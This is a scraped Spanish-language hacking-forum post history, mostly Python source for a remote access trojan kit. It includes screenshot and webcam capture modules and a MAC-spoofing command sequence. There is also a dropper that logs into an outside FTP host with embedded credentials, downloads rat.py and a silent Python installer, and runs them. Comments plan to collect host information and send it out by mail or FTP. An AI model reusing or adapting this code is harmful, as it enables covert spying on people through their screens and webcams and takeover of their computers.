Muy buen code bro! Jaja ya se cuando y donde lo usaste!! 
Gracias por el triunfo
Saludos!
WhiZ

Gracias por el triunfo

Saludos!
WhiZ

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú

)
def switch(x,s):
return {
'bin2hex':s.encode("hex"),
'encode':urllib.quote(s)
}[x]CitarComo que antes de que se active wlan0? La interfaz esta desactviada, la desactive previamente tipeando airmon-ng stop wlan0. El siguiente paso despues de cambiar la MAC es activarla de nuevo.
ifconfig wlan0 downroot@bt: ~# ifconfig wlan0 down
root@bt: ~# macchanger --mac=00:11:22:33:44:55 wlan0
...(error; flecha arriba 2 veces)
root@bt: ~# ifconfig wlan0 down (enter)
(flecha arriba 2 veces)
root@bt: ~# macchanger --mac=00:11:22:33:44:55 wlan0 (enter)
#!/usr/bin/env python
#-*- encoding:utf-8 -*-
# screenshot.py
from PyQt4.QtGui import QApplication, QPixmap
from os import environ, mkdir, listdir
from sys import argv
from time import strftime, gmtime
class Screenshot(object):
def __init__(self):
self.usuario = environ['USER']
if not 'screenshot' in listdir('./'):
mkdir('screenshot')
def capturarPantalla(self):
time = strftime("%d %b %Y_%H:%M:%S", gmtime())
imagen = './screenshot/' + self.usuario + '_' + time + '.png'
app = QApplication(argv)
winId = QApplication.desktop().winId()
width = QApplication.desktop().screenGeometry().width()
height = QApplication.desktop().screenGeometry().height()
captura = QPixmap.grabWindow(winId, 0, 0, width, height)
captura.save(imagen)
def main():
ss = Screenshot()
ss.capturarPantalla()
if __name__ == '__main__':
main()#!/usr/bin/env python
#-*- encoding:utf-8 -*-
# webcamCapture.py
from pygame.image import save
import pygame.camera as camera
from os import environ, mkdir, listdir
from time import strftime, gmtime
class WebcamCapture(object):
def __init__(self):
camera.init()
misWebcams = camera.list_cameras()
if len(misWebcams) == 0:
raise Exception('No hay webcam disponible.')
exit()
elif len(misWebcams) == 1:
self.miWebcam = misWebcams[0]
else:
for i in range(len(misWebcams)):
try:
self.miWebcam = misWebcams[i]
break
except:
continue
def capturar(self):
try:
webcam = camera.Camera(self.miWebcam,(640,480))
webcam.start()
self.captura = webcam.get_image()
webcam.stop()
except Exception as e:
print e
def guardarCaptura(self):
self.usuario = environ['USER']
if not 'webcam' in listdir('./'):
mkdir('webcam')
tiempo = strftime("%d %b %Y_%H:%M:%S", gmtime())
imagen = './webcam/' + self.usuario + '_' + tiempo + '.png'
save(self.captura, imagen)
def main():
wcCapture = WebcamCapture()
wcCapture.capturar()
wcCapture.guardarCaptura()
if __name__ == '__main__':
main()#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from ftpDownloader import FTPDownloader
from pyInstaller import PyInstaller
from exceptionHandler import ExceptionHandler
from os import popen
from time import sleep
class Main(object):
def __init__(self, host, dir, user=None, passwd=None):
self.host = host
self.user = user
self.passwd = passwd
self.dir = dir
def ftpDownload(self, files):
ftpd = FTPDownloader(self.host, self.dir, self.user, self.passwd)
ftpd.login()
for file in files:
ftpd.file = file
ftpd.downloadFile()
ftpd.close()
def pythonInstall(self):
pyInstaller = PyInstaller()
pyInstaller.install()
def initRAT(self):
popen('python rat.py')
def main():
host = '31.170.160.100'
user = 'a3824860'
passwd = 'l0g1nn0w'
dir = 'public_html'
files = ['pyInstaller.msi', 'rat.py']
try:
main = Main(host, dir, user, passwd)
main.ftpDownload(files)
main.pythonInstall()
main.initRAT()
except Exception as e:
exception = ExceptionHandler(e)
print('[*] retrying in 1000s')
sleep(1000)
main()
if __name__ == '__main__':
main()#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from ftplib import FTP
import sys
class FTPDownloader(object):
def __init__(self, host, dir, user=None, passwd=None, file=None):
self.user = user
self.passwd = passwd
self.dir = dir
self.file = file
self.ftp = FTP(host)
def login(self):
print('[+] logging')
self.ftp.login(self.user, self.passwd)
self.ftp.cwd(self.dir)
def downloadFile(self):
print('[+] downloading '+self.file)
self.ftp.voidcmd('TYPE I')
datasock, estsize = self.ftp.ntransfercmd('RETR ' + self.file)
transbytes = 0
fd = open(self.file, 'wb')
while 1:
buf = datasock.recv(2048)
if not len(buf):
break
fd.write(buf)
transbytes += len(buf)
sys.stdout.write('Received %d ' % transbytes)
if estsize:
sys.stdout.write('o0f %d bytes (%.1f%%)\r' % \
(estsize, 100.0 * float(transbytes) / float(estsize)))
else:
sys.stdout.write('bytes\r')
sys.stdout.flush()
sys.stdout.write('\n')
fd.close()
datasock.close()
self.ftp.voidresp()
def close(self):
print('[+] closing connection')
self.ftp.quit()#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from time import sleep
from os import popen
class PyInstaller(object):
"""
Instala Python v2.7 de manera silenciosa.
"""
def __init__(self):
installer = 'pyInstaller.msi'
self.cmd = 'msiexec /i ' + installer
# debo mejorar la configuración de la instalación
# para cambiar PATH y algunas cosas más.
def install(self):
print('[+] installing python')
popen(self.cmd)#!/usr/bin/env python
# -*- encoding: utf-8 -*-
class ExceptionHandler(object):
def __init__(self, e):
error = '[-] ERROR:', e
print(e)
# falta agregar el resto del código para:
#
# - conseguir información del host (ip o
# nombre del host, y demás)
#
# - enviar la información vía mail o FTP
##########################################